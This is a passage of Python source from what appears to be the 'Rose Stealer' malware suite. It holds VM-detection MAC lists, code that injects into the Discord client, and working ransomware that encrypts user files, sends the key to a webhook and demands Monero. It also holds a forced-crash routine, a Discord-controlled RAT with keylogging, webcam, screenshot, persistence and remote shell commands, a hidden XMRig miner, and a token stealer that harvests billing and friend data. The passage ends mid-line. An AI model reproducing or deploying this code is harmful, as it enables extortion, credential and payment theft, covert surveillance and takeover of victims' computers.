"08:00:27:45:13:10", + "12:1b:9e:3c:a6:2c", + "12:8a:5c:2a:65:d1", + "12:f8:87:ab:13:ec", + "16:ef:22:04:af:76", + "1a:6c:62:60:3b:f4", + "1c:99:57:1c:ad:e4", + "1e:6c:34:93:68:64", + "2e:62:e8:47:14:49", + "2e:b8:24:4d:f7:de", + "32:11:4d:d0:4a:9e", + "3c:ec:ef:43:fe:de", + "3c:ec:ef:44:00:d0", + "3c:ec:ef:44:01:0c", + "3c:ec:ef:44:01:aa", + "3e:1c:a1:40:b7:5f", + "3e:53:81:b7:01:13", + "3e:c1:fd:f1:bf:71", + "42:01:0a:8a:00:22", + "42:01:0a:8a:00:33", + "42:01:0a:8e:00:22", + "42:01:0a:96:00:22", + "42:01:0a:96:00:33", + "42:85:07:f4:83:d0", + "4e:79:c0:d9:af:c3", + "4e:81:81:8e:22:4e", + "52:54:00:3b:78:24", + "52:54:00:8b:a6:08", + "52:54:00:a0:41:92", + "52:54:00:ab:de:59", + "52:54:00:b3:e4:71", + "56:b0:6f:ca:0a:e7", + "56:e8:92:2e:76:0d", + "5a:e2:a6:a4:44:db", + "5e:86:e4:3d:0d:f6", + "60:02:92:3d:f1:69", + "60:02:92:66:10:79", + "7e:05:a3:62:9c:4d", + "90:48:9a:9d:d5:24", + "92:4c:a8:23:fc:2e", + "94:de:80:de:1a:35", + "96:2b:e9:43:96:76", + "a6:24:aa:ae:e6:12", + "ac:1f:6b:d0:48:fe", + "ac:1f:6b:d0:49:86", + "ac:1f:6b:d0:4d:98", + "ac:1f:6b:d0:4d:e4", + "b4:2e:99:c3:08:3c", + "b4:a9:5a:b1:c6:fd", + "b6:ed:9d:27:f4:fa", + "be:00:e5:c5:0c:e5", + "c2:ee:af:fd:29:21", + "c8:9f:1d:b6:58:e4", + "ca:4d:4b:ca:18:cc", + "d4:81:d7:87:05:ab", + "d4:81:d7:ed:25:54", + "d6:03:e4:ab:77:8e", + "ea:02:75:3c:90:9f", + "ea:f6:f1:a2:33:76", + "f6:a5:41:31:b2:78", + ] + MAC = str(getmac.get_mac_address()) + + if MAC in MACS: + return True + except: + pass + + +class InjectionX: + def __init__(self, webhook: str) -> None: + self.appdata = os.getenv("LOCALAPPDATA") + self.discord_dirs = [self.appdata + "\\Discord", self.appdata + "\\DiscordCanary", self.appdata + "\\DiscordPTB", self.appdata + "\\DiscordDevelopment"] + self.code = requests.get("https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/data/obf-injection.js").text + + for proc in psutil.process_iter(): + if "discord" in proc.name().lower(): + proc.kill() + + for dir in self.discord_dirs: + if not os.path.exists(dir): + continue + + if self.get_core(dir) is not None: + with open(self.get_core(dir)[0] + "\\index.js", "w", encoding="utf-8") as f: + f.write((self.code).replace("discord_desktop_core-1", self.get_core(dir)[1]).replace("%WEBHOOK%", webhook)) + self.start_discord(dir) + + @staticmethod + def get_core(dir: str) -> tuple: + for file in os.listdir(dir): + if re.search(r"app-+?", file): + modules = dir + "\\" + file + "\\modules" + if not os.path.exists(modules): + continue + for file in os.listdir(modules): + if re.search(r"discord_desktop_core-+?", file): + core = modules + "\\" + file + "\\" + "discord_desktop_core" + if not os.path.exists(core + "\\index.js"): + continue + return core, file + + @staticmethod + def start_discord(dir: str) -> None: + update = dir + "\\Update.exe" + executable = dir.split("\\")[-1] + ".exe" + + for file in os.listdir(dir): + if re.search(r"app-+?", file): + app = dir + "\\" + file + if os.path.exists(app + "\\" + "modules"): + for file in os.listdir(app): + if file == executable: + executable = app + "\\" + executable + subprocess.call([update, "--processStart", executable], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + +target_directory = r"C:/Users" +webhook_url = cc.get_ransomware_discord_webhook_url() +email_adr = cc.get_ransomware_email_adress() +monero_adr = cc.get_ransomware_monero_wallet_adress() +cash = cc.get_ransomware_amount_of_money() + +timestamp = datetime.now().isoformat() + + +def log_error(e): + data = {"username": "Rose Ransomware", "avatar_url": "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png", "embeds": [{"title": "Rose Ransomware Error", "url": "https://github.com/voyqge", "color": cc.get_color(), "fields": [{"name": "USER ID", "value": f"`{user_id}`", "inline": True}, {"name": "ERROR OCCURED", "value": f"`{e}`", "inline": True}], "footer": {"text": "https://github.com/voyqge"}, "timestamp": timestamp}]} + + try: + requests.post(webhook_url, json=data) + except Exception: + pass + + +characters = string.ascii_letters + string.digits +user_id = "".join(random.choice(characters) for i in range(9)) + +key = Fernet.generate_key() +cipher_suite = Fernet(key) + +encryptedfiles = [] + +ransom_note = f"""Your computer is now infected with ransomware. Your file are encrypted with a secure algorithm that is impossible to crack. + +To recover your files you need a key. This key is generated once your file have been encrypted. To obtain the key, you must purchase it. + +You can do this by sending {cash} USD to this monero address: +{monero_adr} + +Don't know how to get monero? Here are some websites: + +https://www.coinbase.com/how-to-buy/monero +https://localmonero.co/?language=en +https://www.okx.com/buy-xmr + +Once you have sent the ransom to the monero address you must write an email this this email address: {email_adr} + +In this email you will include your personal ID so we know who you are. Your personal ID is: {user_id} + +Once you have completeted all of the steps, you will be provided with the key to decrypt your files. + +Don't know how ransomware works? Read up here: +https://www.trellix.com/en-us/security-awareness/ransomware/what-is-ransomware.html +https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/ +https://www.trendmicro.com/vinfo/us/security/definition/Ransomware + +Note: Messing with the ransomware will simply make your files harder to decrypt. Deleting the webhook will make it impossible, as the key can not be generated. + +Good luck""" + + +def send_wh(): + data = {"username": "Rose Ransomware", "avatar_url": "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png", "embeds": [{"title": "Rose Ransomware Hit", "description": "Hello. It looks like you have hit another person. As soon as they send you an email with their personal ID and you approved their payment, please send them the download link for the [decryption tool](https://github.com/rose-dll/Rose-Stealer/tree/main/resources/utils/rosedec) and give them their key, thanks.", "url": "https://github.com/gumbobr0t", "color": cc.get_color(), "fields": [{"name": "USER ID", "value": f"`{user_id}`", "inline": True}, {"name": "TARGET DIR", "value": f"`{target_directory}`", "inline": True}, {"name": "DECRYPTION KEY", "value": f"`{key.hex()}`", "inline": True}], "footer": {"text": "https://github.com/gumbobr0t"}, "timestamp": timestamp}]} + + try: + requests.post(webhook_url, json=data) + except Exception: + pass + + +def encrypt_file(file_path): + encryptedfiles.append(file_path) + + with open(file_path, "rb") as file: + file_data = file.read() + encrypted_data = cipher_suite.encrypt(file_data) + + encrypted_file_path = file_path + ".rose.encrypted" + with open(encrypted_file_path, "wb") as encrypted_file: + encrypted_file.write(encrypted_data) + + os.remove(file_path) + + +def encrypt_directory(directory_path): + for root, dirs, files in os.walk(directory_path): + for file in files: + file_path = os.path.join(root, file) + try: + encrypt_file(file_path) + except OSError as e: + if e.errno in (errno.EACCES, errno.EPERM, errno.EINVAL, errno.ENOENT, errno.ENOTDIR, errno.ENAMETOOLONG, errno.EROFS): + pass + except Exception as e: + if isinstance( + e, + ( + FileNotFoundError, + IsADirectoryError, + TimeoutError, + ), + ): + pass + else: + log_error(e) + + +def encrypted_files(): + try: + with open("ROSE-RANSOMWARE-ENCRYPTED-FILES.txt", "w") as file: + for encryptedfile in encryptedfiles: + file.write(encryptedfile + "\n") + except Exception as e: + log_error(e) + + +def ransomware(): + send_wh() + encrypt_directory(target_directory) + encrypted_files() + + try: + desktop = os.path.join(os.path.join(os.environ["USERPROFILE"]), "Desktop") + file_path = os.path.join(desktop, "ROSE-RANSOMWARE-NOTE.txt") + with open(file_path, "w") as f: + f.write(ransom_note) + + os.startfile(file_path) + + except Exception as e: + log_error(e) + + +def Trigger(): + nullptr = POINTER(c_int)() + + windll.ntdll.RtlAdjustPrivilege(c_uint(19), c_uint(1), c_uint(0), byref(c_int())) + + windll.ntdll.NtRaiseHardError(c_ulong(0xC000007B), c_ulong(0), nullptr, nullptr, c_uint(6), byref(c_uint())) + + +btoken = cc.get_knight_discord_rat_bot_token() +prefix = cc.get_knight_discord_rat_prefix() +channelid = cc.get_knight_discord_rat_channel_id() + +dscrd = "https://discord.gg/sMawrDqnta" +roaming = os.getenv("appdata") +startup_loc = os.path.join(roaming, "Microsoft", "Windows", "Start Menu", "Programs", "Startup") +changed = win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE +hostname = socket.gethostname() +cwd = os.getcwd() +intents = discord.Intents.all() +bot = commands.Bot(description=f"Running Knight Remote Adminstration Tool.", command_prefix=prefix, intents=intents) +clientid = "".join(random.choice("0123456789") for i in range(6)) + + +def kstring_random(length): + letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + global result_str + result_str = "".join(random.choice(letters) for i in range(length)) + + +if channelid == "": + pass +else: + + @bot.event + async def on_ready(): + channel = bot.get_channel(int(channelid)) + docs = "" + if cc.get_discord_ping(): + await channel.send(f"@here | New client online: process {clientid}, refer to [documentation]({docs}) for help") + else: + await channel.send(f"New client online: process {clientid}, refer to [documentation]({docs}) for help") + + +@bot.command(name="open") +async def openf(ctx, inputid, fpath): + if inputid == clientid: + try: + os.system(fpath) + await ctx.send(f"Successfully ran file with the path `{fpath}` for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't run file with the path `{fpath}` for process {clientid} because of `{Exception}`.") + if inputid != clientid: + if inputid == "all": + try: + os.system(fpath) + await ctx.send(f"Successfully ran file with the path `{fpath}` for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't run file with the path `{fpath}` for process {clientid} because of `{Exception}`.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="taskschd") +async def taskschd(ctx, inputid): + if inputid == clientid: + try: + os.system("taskschd.msc") + await ctx.send(f"Successfully started windows task scheduler for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't start windows task scheduler for process {clientid} because of `{Exception}`.") + if inputid != clientid: + if inputid == "all": + try: + os.system("taskschd.msc") + await ctx.send(f"Successfully started windows task scheduler for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't start windows task scheduler for process {clientid} because of `{Exception}`.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="keylogger") +async def keylogger(ctx, inputid, duration): + if inputid == clientid: + kstring_random(15) + record_time = duration + fname = f"keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt" + end_time = time.monotonic() + int(record_time) + recorded = [] + try: + await ctx.send(f"Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.") + while True: + if time.monotonic() >= end_time: + break + recorded.append(keyboard.read_event()) + except KeyboardInterrupt: + await ctx.send(f"Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.") + pass + except Exception: + await ctx.send(f"Couldn't start keylogger for process {clientid} because of `{Exception}`.") + + with open(fname, "w") as f: + for keystroke in recorded: + if keystroke.event_type == "down": + if str("up") in str(keystroke): + str(keystroke).upper() + if str("down") in str(keystroke): + str(keystroke).lower() + f.write( + str( + f"""{keystroke} +""".replace( + "KeyboardEvent", "" + ) + .replace("(", "") + .replace(")", "") + .replace(" up", "") + .replace(" down", "") + ) + ) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Keylogger data file `{fname}` from process {clientid} was sent.") + os.remove(fname) + if inputid != clientid: + if inputid == "all": + kstring_random(15) + record_time = duration + fname = f"keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt" + end_time = time.monotonic() + int(record_time) + recorded = [] + try: + await ctx.send(f"Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.") + while True: + if time.monotonic() >= end_time: + break + recorded.append(keyboard.read_event()) + except KeyboardInterrupt: + await ctx.send(f"Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.") + pass + except Exception: + await ctx.send(f"Couldn't start keylogger for process {clientid} because of `{Exception}`.") + + with open(fname, "w") as f: + for keystroke in recorded: + if keystroke.event_type == "down": + if str("up") in str(keystroke): + str(keystroke).upper() + if str("down") in str(keystroke): + str(keystroke).lower() + f.write( + str( + f"""{keystroke} +""".replace( + "KeyboardEvent", "" + ) + .replace("(", "") + .replace(")", "") + .replace(" up", "") + .replace(" down", "") + ) + ) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Keylogger data file `{fname}` from process {clientid} was sent.") + os.remove(fname) + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="msgbox") +async def msgbox(ctx, inputid, title, msg): + if inputid == clientid: + MB_OK = 0x0 + ICON_EXCLAIM = 0x30 + try: + ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) + await ctx.send(f"Successfully showed message box for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't show message box for process {clientid} because of `{Exception}`.") + if inputid != clientid: + if inputid == "all": + MB_OK = 0x0 + ICON_EXCLAIM = 0x30 + try: + ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) + await ctx.send(f"Successfully showed message box for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't show message box for process {clientid} because of `{Exception}`.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="screenshot") +async def screenshot(ctx, inputid): + if inputid == clientid: + image = ImageGrab.grab(bbox=None, include_layered_windows=False, all_screens=True, xdisplay=None) + fname = f"screenshot_{clientid}.png" + image.save(fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Screenshot `{fname}` from process {clientid} was sent.") + os.remove(fname) + if inputid != clientid: + if inputid == "all": + image = ImageGrab.grab(bbox=None, include_layered_windows=False, all_screens=True, xdisplay=None) + fname = f"screenshot_{clientid}.png" + image.save(fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Screenshot `{fname}` from process {clientid} was sent.") + os.remove(fname) + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="startup") +async def startup(ctx, inputid): + if inputid == clientid: + try: + shutil.copy(argv[0], startup_loc) + await ctx.send(f"Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.") + except Exception: + await ctx.send(f"Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.") + if inputid != clientid: + if inputid == "all": + try: + shutil.copy(argv[0], startup_loc) + await ctx.send(f"Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.") + except Exception: + await ctx.send(f"Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="upload") +async def upload(ctx, inputid, dwnldlink, filetype): + if inputid == clientid: + kstring_random(5) + async with aiohttp.ClientSession() as session: + async with session.get(dwnldlink) as response: + if response.status == 200: + content = await response.read() + fname = f"filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}" + with open(fname, "wb") as file: + file.write(content) + emojis = ["✅", "❌"] + msg = await ctx.send(f"Downloaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?") + for emoji in emojis: + await msg.add_reaction(emoji) + + @bot.event + async def on_reaction_add(reaction, user): + emoji = reaction.emoji + if user.bot: + return + if emoji == "✅": + try: + os.system(fname) + await ctx.send(f"Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.") + return + elif emoji == "❌": + await ctx.send(f"Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.") + return + else: + return + + if inputid != clientid: + if inputid == "all": + kstring_random(5) + async with aiohttp.ClientSession() as session: + async with session.get(dwnldlink) as response: + if response.status == 200: + content = await response.read() + fname = f"filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}" + with open(fname, "wb") as file: + file.write(content) + emojis = ["✅", "❌"] + msg = await ctx.send(f"Downloaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?") + for emoji in emojis: + await msg.add_reaction(emoji) + + @bot.event + async def on_reaction_add(reaction, user): + emoji = reaction.emoji + if user.bot: + return + if emoji == "✅": + try: + os.system(fname) + await ctx.send(f"Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.") + except Exception: + await ctx.send(f"Couldn't execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.") + return + elif emoji == "❌": + await ctx.send(f"Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.") + return + else: + return + + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="wallpaper") +async def wallpaper(ctx, inputid, rawimg): + if inputid == clientid: + r = requests.get(rawimg, allow_redirects=False) + fname = f"newwallpaper_{clientid}.jpg" + open(fname, "wb").write(r.content) + path = os.path.abspath(fname) + ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed) + await ctx.send(f"Changed background wallpaper for {clientid} to `{rawimg}`.") + os.remove(fname) + if inputid != clientid: + if inputid == "all": + r = requests.get(rawimg, allow_redirects=False) + fname = f"newwallpaper_{clientid}.jpg" + open(fname, "wb").write(r.content) + path = os.path.abspath(fname) + ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed) + await ctx.send(f"Changed background wallpaper for {clientid} to `{rawimg}`.") + os.remove(fname) + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="webcam") +async def webcam(ctx, inputid): + pygame.camera.init() + if inputid == clientid: + camlist = pygame.camera.list_cameras() + fname = str(f"webcampicture_{clientid}.png") + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + pygame.image.save(image, fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Webcam picture `{fname}` from process {clientid} was sent.") + os.remove(fname) + else: + await ctx.send(f"No camera was found for process {clientid}.") + if inputid != clientid: + if inputid == "all": + camlist = pygame.camera.list_cameras() + fname = str(f"webcampicture_{clientid}.png") + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + pygame.image.save(image, fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Webcam picture `{fname}` from process {clientid} was sent.") + os.remove(fname) + else: + await ctx.send(f"No camera was found for process {clientid}.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="tasklist") +async def tasklist(ctx, inputid): + if inputid == clientid: + tasks = str(subprocess.check_output("tasklist", shell=True)) + fname = f"runningtasks_{clientid}.txt" + with open(fname, "w") as f: + f.write(tasks) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Wrote all current tasks from process {clientid} to `{fname}`.") + os.remove(fname) + if inputid != clientid: + if inputid == "all": + tasks = str(subprocess.check_output("tasklist", shell=True)) + fname = f"runningtasks_{clientid}.txt" + with open(fname, "w") as f: + f.write(tasks) + await ctx.send(file=discord.File(fname)) + await ctx.send(f"Wrote all current tasks from process {clientid} to `{fname}`.") + os.remove(fname) + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="killprocess") +async def killprocess(ctx, inputid, procname): + if inputid == clientid: + subprocess.run(f"taskkill /f /im {procname}", shell=True) + await ctx.send(f"Initiated to kill process `{procname}` for client {clientid}.") + if inputid != clientid: + if inputid == "all": + subprocess.run(f"taskkill /f /im {procname}", shell=True) + await ctx.send(f"Initiated to kill process `{procname}` for client {clientid}.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="excshell") +async def shell(ctx, inputid, cmd): + if inputid == clientid: + subprocess.run(f"start cmd /f /c {cmd}", shell=True) + await ctx.send(f"Executed cmd command `{cmd}` for process {clientid}.") + if inputid != clientid: + if inputid == "all": + subprocess.run(f"start cmd /f /c {cmd}", shell=True) + await ctx.send(f"Executed cmd command `{cmd}` for process {clientid}.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="excpowershell") +async def powershell(ctx, inputid, shllcmd): + if inputid == clientid: + subprocess.run(f"start powershell /c {shllcmd}", shell=True) + await ctx.send(f"Executed shell command `{shllcmd}` for process {clientid}.") + if inputid != clientid: + if inputid == "all": + subprocess.run(f"start powershell /c {shllcmd}", shell=True) + await ctx.send(f"Executed shell command `{shllcmd}` for process {clientid}.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="isadmin") +async def isadmin(ctx, inputid): + if inputid == clientid: + isadmin = ctypes.windll.shell32.IsUserAnAdmin() + if isadmin: + await ctx.send(f"Process {clientid} **is** admin.") + if not isadmin: + await ctx.send(f"Process {clientid} **is not** admin.") + if inputid != clientid: + if inputid == "all": + isadmin = ctypes.windll.shell32.IsUserAnAdmin() + if isadmin: + await ctx.send(f"Process {clientid} **is** admin.") + if not isadmin: + await ctx.send(f"Process {clientid} **is not** admin.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="getadmin") +async def getadmin(ctx, inputid): + if inputid == clientid: + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) + await ctx.send(f"Requested admin access for process {clientid}.") + sys.exit(0) + if inputid != clientid: + if inputid == "all": + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) + await ctx.send(f"Requested admin access for process {clientid}.") + sys.exit(0) + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="quit") +async def quit(ctx, inputid): + if inputid == clientid: + await ctx.send(f"Terminated Knight Remote Adminstration Tool for {clientid}.") + sys.exit(0) + if inputid != clientid: + if inputid == "all": + await ctx.send(f"Terminated Knight Remote Adminstration Tool for {clientid}.") + sys.exit(0) + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +@bot.command(name="clients") +async def clients(ctx): + await ctx.send(f"{hostname} - {clientid}.") + + +@bot.command(name="browser") +async def browser(ctx, inputid, url): + if inputid == clientid: + webbrowser.open(url) + await ctx.send(f"Opened webbrowser `{url}` for process {clientid}.") + if inputid != clientid: + if inputid == "all": + webbrowser.open(url) + await ctx.send(f"Opened webbrowser `{url}` for process {clientid}.") + if inputid != "all" and clientid: + await ctx.send(f"Sorry, couldn't find process {inputid}.") + + +def run_knight_rat(): + bot.run(btoken) + + +def xmrig(): + working_dir = os.path.join(os.getenv("APPDATA"), "rose") + + if not os.path.exists(working_dir): + os.mkdir(working_dir) + + xmrig_zip = os.path.join(working_dir, "xmrig.zip") + xmrig_dir = os.path.join(working_dir, "xmrig") + xmrig_exe = os.path.join(xmrig_dir, "xmrig-6.21.0", "xmrig.exe") + + if os.path.exists(xmrig_dir): + shutil.rmtree(xmrig_dir) + + if os.path.exists(xmrig_zip): + os.remove(xmrig_zip) + + response = requests.get("https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip") + response.raise_for_status() + + open(xmrig_zip, "wb").write(response.content) + + with ZipFile(xmrig_zip, "r") as zip_ref: + zip_ref.extractall(xmrig_dir) + + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW + + subprocess.Popen([xmrig_exe, "--donate-level", "1", "-o", "de.monero.herominers.com:1111", "-u", cc.get_xmr_adress(), "-p", get_random_string(12), "-a", "rx/0", "-k", "--background"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo, creationflags=subprocess.CREATE_NO_WINDOW | subprocess.DETACHED_PROCESS, close_fds=True) + + +class DiscordX: + def __init__(self): + self.webhook = cc.get_webhook() + if cc.get_debug_mode: + print("Discord Init") + + @staticmethod + def GetUHQFriends(token): + badgeList = [ + { + "Name": "Early_Verified_Bot_Developer", + "Value": 131072, + "Emoji": "<:developer:874750808472825986> ", + }, + { + "Name": "Bug_Hunter_Level_2", + "Value": 16384, + "Emoji": "<:bughunter_2:874750808430874664> ", + }, + { + "Name": "Early_Supporter", + "Value": 512, + "Emoji": "<:early_supporter:874750808414113823> ", + }, + { + "Name": "House_Balance", + "Value": 256, + "Emoji": "<:balance:874750808267292683> ", + }, + { + "Name": "House_Brilliance", + "Value": 128, + "Emoji": "<:brilliance:874750808338608199> ", + }, + { + "Name": "House_Bravery", + "Value": 64, + "Emoji": "<:bravery:874750808388952075> ", + }, + { + "Name": "Bug_Hunter_Level_1", + "Value": 8, + "Emoji": "<:bughunter_1:874750808426692658> ", + }, + { + "Name": "HypeSquad_Events", + "Value": 4, + "Emoji": "<:hypesquad_events:874750808594477056> ", + }, + { + "Name": "Partnered_Server_Owner", + "Value": 2, + "Emoji": "<:partner:874750808678354964> ", + }, + { + "Name": "Discord_Employee", + "Value": 1, + "Emoji": "<:staff:874750808728666152> ", + }, + ] + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + try: + friendlist = loads( + urlopen( + Request( + "https://discord.com/api/v6/users/@me/relationships", + headers=headers, + ) + ) + .read() + .decode() + ) + except Exception: + return False + + uhqlist = "" + for friend in friendlist: + OwnedBadges = "" + flags = friend["user"]["public_flags"] + for badge in badgeList: + if flags // badge["Value"] != 0 and friend["type"] == 1: + if "House" not in badge["Name"]: + OwnedBadges += badge["Emoji"] + flags = flags % badge["Value"] + if OwnedBadges != "": + uhqlist += f"{OwnedBadges} | {friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})\n" + return uhqlist + + @staticmethod + def GetBilling(token): + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + try: + billingjson = loads( + urlopen( + Request( + "https://discord.com/api/users/@me/billing/payment-sources", + headers=headers, + ) + ) + .read() + .decode() + ) + except Exception: + return False + + if billingjson == []: + return "`None`" + + billing = "" + for methode in billingjson: + if methode["invalid"] is False: + if methode["type"] == 1: + billing += "<:credit_card:1151916484176654416>" + elif methode["type"] == 2: + billing += "<:paypal:1151916071092244520> " + + return billing + + @staticmethod + def GetBadge(flags): + if flags == 0: + return "" + + OwnedBadges = "" + badgeList = [ + { + "Name": "Early_Verified_Bot_Developer", + "Value": 131072, + "Emoji": "<:developer:874750808472825986> ", + }, + { + "Name": "Bug_Hunter_Level_2", + "Value": 16384, + "Emoji": "<:bughunter_2:874750808430874664> ", + }, + { + "Name": "Early_Supporter", + "Value": 512, + "Emoji": "<:early_supporter:874750808414113823> ", + }, + { + "Name": "House_Balance", + "Value": 256, + "Emoji": "<:balance:874750808267292683> ", + }, + { + "Name": "House_Brilliance", + "Value": 128, + "Emoji": "<:brilliance:874750808338608199> ", + }, + { + "Name": "House_Bravery", + "Value": 64, + "Emoji": "<:bravery:874750808388952075> ", + }, + { + "Name": "Bug_Hunter_Level_1", + "Value": 8, + "Emoji": "<:bughunter_1:874750808426692658> ", + }, + { + "Name": "HypeSquad_Events", + "Value": 4, + "Emoji": "<:hypesquad_events:874750808594477056> ", + }, + { + "Name": "Partnered_Server_Owner", + "Value": 2, + "Emoji": "<:partner:874750808678354964> ", + }, + { + "Name": "Discord_Employee", + "Value": 1, + "Emoji": "<:staff:874750808728666152> ", + }, + ] + for badge in badgeList: + if flags // badge["Value"] != 0: + OwnedBadges += badge["Emoji"] + flags = flags % badge["Value"] + + return OwnedBadges + + @staticmethod + def GetTokenInfo(token): + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + + userjson = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode()) + username = userjson["username"] + hashtag = userjson["discriminator"] + email = userjson["email"] + idd = userjson["id"] + pfp = userjson["avatar"] + flags = userjson["public_flags"] + nitro = "" + phone = "-" + + if "premium_type" in userjson: + nitrot = userjson["premium_type"] + if nitrot == 1: + nitro = "<:classic:896119171019067423> " + elif nitrot == 2: + nitro = " <:classic:896119171019067423> " + if "phone" in userjson: + phone = userjson["phone"] + + return username, hashtag, email, idd, pfp, flags, nitro, phone + + @staticmethod + def checkToken(token): + headers = { + "Authorization": token, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + try: + urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)) + return True + except Exception: + return False + + def uploadToken(self, token): + global hook + headers = { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", + } + username, hashtag, email, idd, pfp, flags, nitro, phone = self.GetTokenInfo(token) + + if pfp is None: + pfp = "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png" + else: + pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}" + + billing = self.GetBilling(token) + badge = self.GetBadge(flags) + friends = self.GetUHQFriends(token) + if friends == "": + friends = "`None`" + if not billing: + badge, phone, billing = "None", "None", "None" + if nitro == 